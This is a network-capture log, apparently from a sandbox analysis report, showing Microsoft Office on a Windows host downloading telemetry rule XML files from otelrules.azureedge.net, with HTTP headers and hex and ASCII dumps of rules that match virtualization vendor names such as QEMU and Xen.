2024-11-25 11:07:49 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:49 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:49 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 8d96ff29-301e-0020-36b1-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110749Z-15b8b599d88cn5thhC1TEBqxkn00000005mg00000000k6vu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:49 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:49 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:49 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110749Z-174c587ffdf6b487hC1TEBydsn00000005v0000000003qqq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:49 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:49 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:49 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 05eafd34-a01e-00ab-40c7-3e9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110749Z-178bfbc474bwlrhlhC1NYCy3kg000000078g00000000d5gw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:49 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:51 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:51 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 93e7400e-201e-0003-07ae-3ef85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110751Z-178bfbc474bscnbchC1NYCe7eg00000007d000000000ctvx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:51 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:51 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:51 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: e2b7c591-f01e-003f-257e-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110751Z-174c587ffdfx984chC1TEB676g00000005y0000000001tdm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:52 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:51 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:51 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: fafd7d00-e01e-00aa-3a63-3bceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110751Z-178bfbc474bnwsh4hC1NYC2ubs00000007f0000000004nrc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:52 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:51 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:51 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 9d7b10d0-e01e-0099-63bc-3bda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110751Z-15b8b599d88phfhnhC1TEBr51n0000000620000000001uwr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:52 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:51 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:52 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 2727b5de-901e-005b-4cc1-3e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110752Z-178bfbc474b9fdhphC1NYCac0n00000007d0000000000xga x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:52 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:53 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:54 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: d1af82e8-201e-00aa-6ffc-3d3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110754Z-15b8b599d885v8r9hC1TEB104g00000005z000000000391v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:54 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:53 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:54 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 00c17fdd-701e-000d-2f70-3c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110754Z-174c587ffdf8lw6dhC1TEBkgs800000005wg000000005nr3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:54 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:53 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:54 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 964846c7-701e-001e-36c3-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110754Z-15b8b599d88pxmdghC1TEBux9c00000005vg00000000fenr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:54 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:54 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
